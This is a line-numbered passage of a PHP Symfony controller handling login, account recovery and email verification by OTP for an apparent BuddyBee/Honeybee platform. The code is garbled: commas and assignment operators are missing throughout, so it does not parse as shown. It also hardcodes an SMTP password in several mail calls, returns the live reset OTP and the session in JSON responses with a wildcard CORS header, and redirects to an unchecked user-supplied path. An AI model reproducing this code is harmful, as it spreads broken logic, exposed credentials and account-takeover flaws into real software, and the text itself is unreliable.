  7770.                     $session->set('token'$token);
  7771.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7772.                         $session->set('remoteVerified'1);
  7773.                         $response = new JsonResponse(array(
  7774.                             'token' => $token,
  7775.                             'uid' => $session->get(UserConstants::USER_ID),
  7776.                             'session' => $session,
  7777.                             'success' => true,
  7778.                             'session_data' => $session_data,
  7779.                         ));
  7780.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7781.                         return $response;
  7782.                     }
  7783.                     if ($request->request->has('referer_path')) {
  7784.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7785.                             return $this->redirect($request->request->get('referer_path'));
  7786.                         }
  7787.                     }
  7788.                     $redirectRoute 'applicant_dashboard';
  7789.                     if ($request->query->has('encData')) {
  7790.                         if ($request->query->get('encData') == '8917922')
  7791.                             $redirectRoute 'apply_for_consultant';
  7792.                     }
  7793.                     return $this->redirectToRoute($redirectRoute);
  7794.                 }
  7795. //                    $response = new JsonResponse(array(
  7796. //                        'token' => $token,
  7797. //                        'uid' => $session->get(UserConstants::USER_ID),
  7798. //                        'session' => $session,
  7799. //
  7800. //                        'success' => true,
  7801. //                        'session_data' => $session_data,
  7802. //
  7803. //                    ));
  7804. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7805. //                    return $response;
  7806. //                    return $this->redirectToRoute("user_login", [
  7807. //                        'id' => $isApplicantExist->getApplicantId(),
  7808. //                        'oAuthData' => $oAuthData,
  7809. //                        'encData' => $encData,
  7810. //                        'locale' => $request->request->get('locale', 'en'),
  7811. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7812. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7813. //                    ]);
  7814.             }
  7815.         }
  7816.         $selector BuddybeeConstant::$selector;
  7817.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7818.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7819.         if ($systemType == '_ERP_') {
  7820.         } else if ($systemType == '_SOPHIA_') {
  7821.             return $this->render(
  7822.                 '@Sophia/pages/views/sofia_login.html.twig',
  7823.                 [
  7824.                     'page_title' => 'Sophia Login',
  7825.                     'oAuthLink' => $google_client->createAuthUrl(),
  7826.                     'redirect_url' => $url,
  7827.                     'message' => $message,
  7828.                     'systemType' => $systemType,
  7829.                     'ownServerId' => $ownServerId,
  7830.                     'errorField' => '',
  7831.                     'encData' => $encData,
  7832.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7833.                     'selector' => $selector,
  7834.                 ]
  7835.             );
  7836.         } else if ($systemType == '_CENTRAL_') {
  7837.             return $this->render(
  7838.                 '@Authentication/pages/views/central_login.html.twig',
  7839.                 [
  7840.                     'page_title' => 'Central Login',
  7841.                     'oAuthLink' => $google_client->createAuthUrl(),
  7842.                     'redirect_url' => $url,
  7843.                     'message' => $message,
  7844.                     'systemType' => $systemType,
  7845.                     'ownServerId' => $ownServerId,
  7846.                     'errorField' => '',
  7847.                     'encData' => $encData,
  7848.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7849.                     'selector' => $selector,
  7850.                 ]
  7851.             );
  7852.         } else if ($systemType == '_BUDDYBEE_') {
  7853.             return $this->render(
  7854.                 '@Authentication/pages/views/applicant_login.html.twig',
  7855.                 [
  7856.                     'page_title' => 'BuddyBee Login',
  7857.                     'oAuthLink' => $google_client->createAuthUrl(),
  7858.                     'redirect_url' => $url,
  7859.                     'message' => $message,
  7860.                     'errorField' => $errorField,
  7861.                     'encData' => $encData,
  7862.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7863.                     'selector' => $selector
  7864.                 ]
  7865.             );
  7866.         }
  7867.         return $this->render(
  7868.             '@Authentication/pages/views/applicant_login.html.twig',
  7869.             [
  7870.                 'page_title' => 'Applicant Registration',
  7871.                 'oAuthLink' => $google_client->createAuthUrl(),
  7872.                 'redirect_url' => $url,
  7873.                 'encData' => $encData,
  7874.                 'message' => $message,
  7875.                 'errorField' => $errorField,
  7876.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7877.                 'selector' => $selector
  7878.             ]
  7879.         );
  7880.     }
  7881.     public function FindAccountAction(Request $request$encData ''$remoteVerify 0)
  7882.     {
  7883. //        $userCategory=$request->request->has('userCategory');
  7884.         $encryptedData = [];
  7885.         $errorField '';
  7886.         $message '';
  7887.         $userType '';
  7888.         $otpExpireSecond 180;
  7889.         $otpExpireTs 0;
  7890.         $otp '';
  7891.         if ($encData != '')
  7892.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  7893. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  7894.         $userCategory '_BUDDYBEE_USER_';
  7895.         if (isset($encryptedData['userCategory']))
  7896.             $userCategory $encryptedData['userCategory'];
  7897.         else
  7898.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  7899.         $em $this->getDoctrine()->getManager('company_group');
  7900.         $em_goc $this->getDoctrine()->getManager('company_group');
  7901.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7902.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7903.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  7904.         $twigData = [];
  7905.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  7906.         $email_address $request->request->get('email''');
  7907.         $email_twig_data = [];
  7908.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  7909.         if ($request->isMethod('POST')) {
  7910.             //set an otp and its expire and send mail
  7911.             $email_address $request->request->get('email');
  7912.             $userObj null;
  7913.             $userData = [];
  7914.             if ($systemType == '_ERP_') {
  7915.                 if ($userCategory == '_APPLICANT_') {
  7916.                     $userType UserConstants::USER_TYPE_APPLICANT;
  7917.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7918.                         array(
  7919.                             'email' => $email_address
  7920.                         )
  7921.                     );
  7922.                     if ($userObj) {
  7923.                     } else {
  7924.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7925.                             array(
  7926.                                 'oAuthEmail' => $email_address
  7927.                             )
  7928.                         );
  7929.                         if ($userObj) {
  7930.                         } else {
  7931.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7932.                                 array(
  7933.                                     'username' => $email_address
  7934.                                 )
  7935.                             );
  7936.                         }
  7937.                     }
  7938.                     if ($userObj) {
  7939.                         $email_address $userObj->getEmail();
  7940.                         if ($email_address == null || $email_address == '')
  7941.                             $email_address $userObj->getOAuthEmail();
  7942.                     }
  7943. //                    triggerResetPassword:
  7944. //                    type: integer
  7945. //                          nullable: true
  7946.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7947.                     $otp $otpData['otp'];
  7948.                     $otpExpireTs $otpData['expireTs'];
  7949.                     $userObj->setOtp($otpData['otp']);
  7950.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  7951.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  7952.                     $em_goc->flush();
  7953.                     $userData = array(
  7954.                         'id' => $userObj->getApplicantId(),
  7955.                         'email' => $email_address,
  7956.                         'appId' => 0,
  7957. //                        'appId'=>$userObj->getUserAppId(),
  7958.                     );
  7959.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7960.                     $email_twig_data = [
  7961.                         'page_title' => 'Find Account',
  7962.                         'encryptedData' => $encryptedData,
  7963.                         'message' => $message,
  7964.                         'userType' => $userType,
  7965.                         'errorField' => $errorField,
  7966.                         'otp' => $otpData['otp'],
  7967.                         'otpExpireSecond' => $otpExpireSecond,
  7968.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  7969.                         'otpExpireTs' => $otpData['expireTs'],
  7970.                         'systemType' => $systemType,
  7971.                         'userData' => $userData
  7972.                     ];
  7973.                     if ($userObj)
  7974.                         $email_twig_data['success'] = true;
  7975.                 } else {
  7976.                     $userType UserConstants::USER_TYPE_GENERAL;
  7977.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  7978.                     $email_twig_data = [
  7979.                         'page_title' => 'Find Account',
  7980.                         'encryptedData' => $encryptedData,
  7981.                         'message' => $message,
  7982.                         'userType' => $userType,
  7983.                         'errorField' => $errorField,
  7984.                     ];
  7985.                 }
  7986.             } else if ($systemType == '_CENTRAL_') {
  7987.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7988.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7989.                     array(
  7990.                         'email' => $email_address
  7991.                     )
  7992.                 );
  7993.                 if ($userObj) {
  7994.                 } else {
  7995.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7996.                         array(
  7997.                             'oAuthEmail' => $email_address
  7998.                         )
  7999.                     );
  8000.                     if ($userObj) {
  8001.                     } else {
  8002.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8003.                             array(
  8004.                                 'username' => $email_address
  8005.                             )
  8006.                         );
  8007.                     }
  8008.                 }
  8009.                 if ($userObj) {
  8010.                     $email_address $userObj->getEmail();
  8011.                     if ($email_address == null || $email_address == '')
  8012.                         $email_address $userObj->getOAuthEmail();
  8013.                     //                    triggerResetPassword:
  8014. //                    type: integer
  8015. //                          nullable: true
  8016.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8017.                     $otp $otpData['otp'];
  8018.                     $otpExpireTs $otpData['expireTs'];
  8019.                     $userObj->setOtp($otpData['otp']);
  8020.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8021.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8022.                     $em_goc->flush();
  8023.                     $userData = array(
  8024.                         'id' => $userObj->getApplicantId(),
  8025.                         'email' => $email_address,
  8026.                         'appId' => 0,
  8027.                         'image' => $userObj->getImage(),
  8028.                         'firstName' => $userObj->getFirstname(),
  8029.                         'lastName' => $userObj->getLastname(),
  8030.                         'phone' => $userObj->getPhone(),
  8031. //                        'appId'=>$userObj->getUserAppId(),
  8032.                     );
  8033.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8034.                     $email_twig_data = [
  8035.                         'page_title' => 'Find Account',
  8036.                         'encryptedData' => $encryptedData,
  8037.                         'message' => $message,
  8038.                         'userType' => $userType,
  8039.                         'errorField' => $errorField,
  8040.                         'otp' => $otpData['otp'],
  8041.                         'otpExpireSecond' => $otpExpireSecond,
  8042.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8043.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8044.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8045.                         'otpExpireTs' => $otpData['expireTs'],
  8046.                         'systemType' => $systemType,
  8047.                         'userCategory' => $userCategory,
  8048.                         'userData' => $userData
  8049.                     ];
  8050.                     $email_twig_data['success'] = true;
  8051.                 } else {
  8052.                     $message "Oops! Could not find your account";
  8053.                     $email_twig_data['success'] = false;
  8054.                 }
  8055.             } else if ($systemType == '_BUDDYBEE_') {
  8056.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8057.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8058.                     array(
  8059.                         'email' => $email_address
  8060.                     )
  8061.                 );
  8062.                 if ($userObj) {
  8063.                 } else {
  8064.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8065.                         array(
  8066.                             'oAuthEmail' => $email_address
  8067.                         )
  8068.                     );
  8069.                     if ($userObj) {
  8070.                     } else {
  8071.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8072.                             array(
  8073.                                 'username' => $email_address
  8074.                             )
  8075.                         );
  8076.                     }
  8077.                 }
  8078.                 if ($userObj) {
  8079.                     $email_address $userObj->getEmail();
  8080.                     if ($email_address == null || $email_address == '')
  8081.                         $email_address $userObj->getOAuthEmail();
  8082.                     //                    triggerResetPassword:
  8083. //                    type: integer
  8084. //                          nullable: true
  8085.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8086.                     $otp $otpData['otp'];
  8087.                     $otpExpireTs $otpData['expireTs'];
  8088.                     $userObj->setOtp($otpData['otp']);
  8089.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8090.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8091.                     $em_goc->flush();
  8092.                     $userData = array(
  8093.                         'id' => $userObj->getApplicantId(),
  8094.                         'email' => $email_address,
  8095.                         'appId' => 0,
  8096.                         'image' => $userObj->getImage(),
  8097.                         'firstName' => $userObj->getFirstname(),
  8098.                         'lastName' => $userObj->getLastname(),
  8099.                         'phone' => $userObj->getPhone(),
  8100. //                        'appId'=>$userObj->getUserAppId(),
  8101.                     );
  8102.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8103.                     $email_twig_data = [
  8104.                         'page_title' => 'Find Account',
  8105.                         'encryptedData' => $encryptedData,
  8106.                         'message' => $message,
  8107.                         'userType' => $userType,
  8108.                         'errorField' => $errorField,
  8109.                         'otp' => $otpData['otp'],
  8110.                         'otpExpireSecond' => $otpExpireSecond,
  8111.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8112.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8113.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8114.                         'otpExpireTs' => $otpData['expireTs'],
  8115.                         'systemType' => $systemType,
  8116.                         'userCategory' => $userCategory,
  8117.                         'userData' => $userData
  8118.                     ];
  8119.                     $email_twig_data['success'] = true;
  8120.                 } else {
  8121.                     $message "Oops! Could not find your account";
  8122.                     $email_twig_data['success'] = false;
  8123.                 }
  8124.             }
  8125.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8126.                 if ($systemType == '_BUDDYBEE_') {
  8127.                     $bodyHtml '';
  8128.                     $bodyTemplate $email_twig_file;
  8129.                     $bodyData $email_twig_data;
  8130.                     $attachments = [];
  8131.                     $forwardToMailAddress $email_address;
  8132. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8133.                     $new_mail $this->get('mail_module');
  8134.                     $new_mail->sendMyMail(array(
  8135.                         'senderHash' => '_CUSTOM_',
  8136.                         //                        'senderHash'=>'_CUSTOM_',
  8137.                         'forwardToMailAddress' => $forwardToMailAddress,
  8138.                         'subject' => 'Account Verification',
  8139. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8140.                         'attachments' => $attachments,
  8141.                         'toAddress' => $forwardToMailAddress,
  8142.                         'fromAddress' => 'no-reply@buddybee.eu',
  8143.                         'userName' => 'no-reply@buddybee.eu',
  8144.                         'password' => 'Honeybee@0112',
  8145.                         'smtpServer' => 'smtp.hostinger.com',
  8146.                         'smtpPort' => 465,
  8147. //                            'emailBody' => $bodyHtml,
  8148.                         'mailTemplate' => $bodyTemplate,
  8149.                         'templateData' => $bodyData,
  8150. //                        'embedCompanyImage' => 1,
  8151. //                        'companyId' => $companyId,
  8152. //                        'companyImagePath' => $company_data->getImage()
  8153.                     ));
  8154.                 } else if ($systemType == '_CENTRAL_') {
  8155.                     $bodyHtml '';
  8156.                     $bodyTemplate $email_twig_file;
  8157.                     $bodyData $email_twig_data;
  8158.                     $attachments = [];
  8159.                     $forwardToMailAddress $email_address;
  8160. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8161.                     $new_mail $this->get('mail_module');
  8162.                     $new_mail->sendMyMail(array(
  8163.                         'senderHash' => '_CUSTOM_',
  8164.                         //                        'senderHash'=>'_CUSTOM_',
  8165.                         'forwardToMailAddress' => $forwardToMailAddress,
  8166.                         'subject' => 'Account Verification',
  8167. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8168.                         'attachments' => $attachments,
  8169.                         'toAddress' => $forwardToMailAddress,
  8170.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8171.                         'userName' => 'accounts@ourhoneybee.eu',
  8172.                         'password' => 'Honeybee@0112',
  8173.                         'smtpServer' => 'smtp.hostinger.com',
  8174.                         'smtpPort' => 465,
  8175. //                            'emailBody' => $bodyHtml,
  8176.                         'mailTemplate' => $bodyTemplate,
  8177.                         'templateData' => $bodyData,
  8178. //                        'embedCompanyImage' => 1,
  8179. //                        'companyId' => $companyId,
  8180. //                        'companyImagePath' => $company_data->getImage()
  8181.                     ));
  8182.                 } else {
  8183.                     $bodyHtml '';
  8184.                     $bodyTemplate $email_twig_file;
  8185.                     $bodyData $email_twig_data;
  8186.                     $attachments = [];
  8187.                     $forwardToMailAddress $email_address;
  8188. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8189.                     $new_mail $this->get('mail_module');
  8190.                     $new_mail->sendMyMail(array(
  8191.                         'senderHash' => '_CUSTOM_',
  8192.                         //                        'senderHash'=>'_CUSTOM_',
  8193.                         'forwardToMailAddress' => $forwardToMailAddress,
  8194.                         'subject' => 'Applicant Registration on Honeybee',
  8195. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8196.                         'attachments' => $attachments,
  8197.                         'toAddress' => $forwardToMailAddress,
  8198.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8199.                         'userName' => 'accounts@ourhoneybee.eu',
  8200.                         'password' => 'Honeybee@0112',
  8201.                         'smtpServer' => 'smtp.hostinger.com',
  8202.                         'smtpPort' => 465,
  8203.                         'emailBody' => $bodyHtml,
  8204.                         'mailTemplate' => $bodyTemplate,
  8205.                         'templateData' => $bodyData,
  8206. //                        'embedCompanyImage' => 1,
  8207. //                        'companyId' => $companyId,
  8208. //                        'companyImagePath' => $company_data->getImage()
  8209.                     ));
  8210.                 }
  8211.             }
  8212.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8213.                 if ($systemType == '_BUDDYBEE_') {
  8214.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8215.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8216.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8217.                      _APPEND_CODE_';
  8218.                     $msg str_replace($searchVal$replaceVal$msg);
  8219.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8220.                     $sendType 'all';
  8221.                     $socketUserIds = [];
  8222.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8223.                 } else {
  8224.                 }
  8225.             }
  8226.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8227.                 $response = new JsonResponse(array(
  8228.                         'templateData' => $twigData,
  8229.                         'message' => $message,
  8230. //                        "otp"=>'',
  8231.                         "otp" => $otp,
  8232.                         "otpExpireTs" => $otpExpireTs,
  8233.                         'actionData' => $email_twig_data,
  8234.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8235.                     )
  8236.                 );
  8237.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8238.                 return $response;
  8239.             } else if ($email_twig_data['success'] == true) {
  8240.                 $encData = array(
  8241.                     "userType" => $userType,
  8242.                     "otp" => '',
  8243. //                "otp"=>$otp,
  8244.                     "otpExpireTs" => $otpExpireTs,
  8245.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8246.                     "userCategory" => $userCategory,
  8247.                     "userId" => $userData['id'],
  8248.                     "systemType" => $systemType,
  8249.                     "email" => $email_address,
  8250.                 );
  8251.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8252.                 $url $this->generateUrl(
  8253.                     'verify_otp'
  8254.                 );
  8255.                 return $this->redirect($url "/" $encDataStr);
  8256. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8257. ////                    'encData'
  8258. ////                'id' => $isApplicantExist->getApplicantId(),
  8259. ////                'oAuthData' => $oAuthData,
  8260. ////                'refRoute' => $refRoute,
  8261. //                ]);
  8262.             }
  8263.         }
  8264.         if ($systemType == '_ERP_') {
  8265.             if ($userCategory == '_APPLICANT_') {
  8266.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8267.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8268.                 $twigData = [
  8269.                     'page_title' => 'Find Account',
  8270.                     'encryptedData' => $encryptedData,
  8271.                     'message' => $message,
  8272.                     'systemType' => $systemType,
  8273.                     'ownServerId' => $ownServerId,
  8274.                     'userType' => $userType,
  8275.                     'errorField' => $errorField,
  8276.                 ];
  8277.             } else {
  8278.                 $userType UserConstants::USER_TYPE_GENERAL;
  8279.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8280.                 $twigData = [
  8281.                     'page_title' => 'Find Account',
  8282.                     'encryptedData' => $encryptedData,
  8283.                     'systemType' => $systemType,
  8284.                     'ownServerId' => $ownServerId,
  8285.                     'message' => $message,
  8286.                     'userType' => $userType,
  8287.                     'errorField' => $errorField,
  8288.                 ];
  8289.             }
  8290.         } else if ($systemType == '_CENTRAL_') {
  8291.             $userType UserConstants::USER_TYPE_APPLICANT;
  8292.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  8293.             $twigData = [
  8294.                 'page_title' => 'Find Account',
  8295.                 'encryptedData' => $encryptedData,
  8296.                 'systemType' => $systemType,
  8297.                 'ownServerId' => $ownServerId,
  8298.                 "otp" => '',
  8299. //                "otp"=>$otp,
  8300.                 "otpExpireTs" => $otpExpireTs,
  8301.                 'message' => $message,
  8302.                 'userType' => $userType,
  8303.                 'errorField' => $errorField,
  8304.             ];
  8305.         } else if ($systemType == '_BUDDYBEE_') {
  8306.             $userType UserConstants::USER_TYPE_APPLICANT;
  8307.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8308.             $twigData = [
  8309.                 'page_title' => 'Find Account',
  8310.                 'encryptedData' => $encryptedData,
  8311.                 "otp" => '',
  8312.                 'systemType' => $systemType,
  8313.                 'ownServerId' => $ownServerId,
  8314. //                "otp"=>$otp,
  8315.                 "otpExpireTs" => $otpExpireTs,
  8316.                 'message' => $message,
  8317.                 'userType' => $userType,
  8318.                 'errorField' => $errorField,
  8319.             ];
  8320.         }
  8321.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8322.             $response = new JsonResponse(array(
  8323.                     'templateData' => $twigData,
  8324.                     'message' => $message,
  8325.                     "otp" => '',
  8326. //                "otp"=>$otp,
  8327.                     "otpExpireTs" => $otpExpireTs,
  8328.                     'actionData' => $email_twig_data,
  8329.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8330.                 )
  8331.             );
  8332.             $response->headers->set('Access-Control-Allow-Origin''*');
  8333.             return $response;
  8334.         } else {
  8335.             return $this->render(
  8336.                 $twig_file,
  8337.                 $twigData
  8338.             );
  8339.         }
  8340.     }
  8341.     public function VerifyEmailForWebAction(Request $request$encData ''$remoteVerify 0)
  8342.     {
  8343. //        $userCategory=$request->request->has('userCategory');
  8344.         $encryptedData = [];
  8345.         $errorField '';
  8346.         $message '';
  8347.         $userType '';
  8348.         $otpExpireSecond 180;
  8349.         $otpExpireTs 0;
  8350.         $otp '';
  8351.         if ($encData != '')
  8352.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8353. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8354.         $userCategory '_BUDDYBEE_USER_';
  8355.         if (isset($encryptedData['userCategory']))
  8356.             $userCategory $encryptedData['userCategory'];
  8357.         else
  8358.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8359.         $em $this->getDoctrine()->getManager('company_group');
  8360.         $em_goc $this->getDoctrine()->getManager('company_group');
  8361.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8362.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8363.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8364.         $twigData = [];
  8365.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8366.         $email_address $request->request->get('email''');
  8367.         $email_twig_data = [];
  8368.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8369.         if ($request->isMethod('POST')) {
  8370.             //set an otp and its expire and send mail
  8371.             $email_address $request->request->get('email');
  8372.             $userObj null;
  8373.             $userData = [];
  8374.             if ($systemType == '_ERP_') {
  8375.                 if ($userCategory == '_APPLICANT_') {
  8376.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8377.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8378.                         array(
  8379.                             'email' => $email_address
  8380.                         )
  8381.                     );
  8382.                     if ($userObj) {
  8383.                     } else {
  8384.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8385.                             array(
  8386.                                 'oAuthEmail' => $email_address
  8387.                             )
  8388.                         );
  8389.                         if ($userObj) {
  8390.                         } else {
  8391.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8392.                                 array(
  8393.                                     'username' => $email_address
  8394.                                 )
  8395.                             );
  8396.                         }
  8397.                     }
  8398.                     if ($userObj) {
  8399.                         $email_address $userObj->getEmail();
  8400.                         if ($email_address == null || $email_address == '')
  8401.                             $email_address $userObj->getOAuthEmail();
  8402.                     }
  8403. //                    triggerResetPassword:
  8404. //                    type: integer
  8405. //                          nullable: true
  8406.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8407.                     $otp $otpData['otp'];
  8408.                     $otpExpireTs $otpData['expireTs'];
  8409.                     $userObj->setOtp($otpData['otp']);
  8410.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8411.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8412.                     $em_goc->flush();
  8413.                     $userData = array(
  8414.                         'id' => $userObj->getApplicantId(),
  8415.                         'email' => $email_address,
  8416.                         'appId' => 0,
  8417. //                        'appId'=>$userObj->getUserAppId(),
  8418.                     );
  8419.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8420.                     $email_twig_data = [
  8421.                         'page_title' => 'Find Account',
  8422.                         'encryptedData' => $encryptedData,
  8423.                         'message' => $message,
  8424.                         'userType' => $userType,
  8425.                         'errorField' => $errorField,
  8426.                         'otp' => $otpData['otp'],
  8427.                         'otpExpireSecond' => $otpExpireSecond,
  8428.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8429.                         'otpExpireTs' => $otpData['expireTs'],
  8430.                         'systemType' => $systemType,
  8431.                         'userData' => $userData
  8432.                     ];
  8433.                     if ($userObj)
  8434.                         $email_twig_data['success'] = true;
  8435.                 } else {
  8436.                     $userType UserConstants::USER_TYPE_GENERAL;
  8437.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8438.                     $email_twig_data = [
  8439.                         'page_title' => 'Find Account',
  8440.                         'encryptedData' => $encryptedData,
  8441.                         'message' => $message,
  8442.                         'userType' => $userType,
  8443.                         'errorField' => $errorField,
  8444.                     ];
  8445.                 }
  8446.             } else if ($systemType == '_CENTRAL_') {
  8447.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8448.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8449.                     array(
  8450.                         'email' => $email_address
  8451.                     )
  8452.                 );
  8453.                 if ($userObj) {
  8454.                 } else {
  8455.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8456.                         array(
  8457.                             'oAuthEmail' => $email_address
  8458.                         )
  8459.                     );
  8460.                     if ($userObj) {
  8461.                     } else {
  8462.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8463.                             array(
  8464.                                 'username' => $email_address
  8465.                             )
  8466.                         );
  8467.                     }
  8468.                 }
  8469.                 if ($userObj) {
  8470.                     $email_address $userObj->getEmail();
  8471.                     if ($email_address == null || $email_address == '')
  8472.                         $email_address $userObj->getOAuthEmail();
  8473.                     //                    triggerResetPassword:
  8474. //                    type: integer
  8475. //                          nullable: true
  8476.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8477.                     $otp $otpData['otp'];
  8478.                     $otpExpireTs $otpData['expireTs'];
  8479.                     $userObj->setOtp($otpData['otp']);
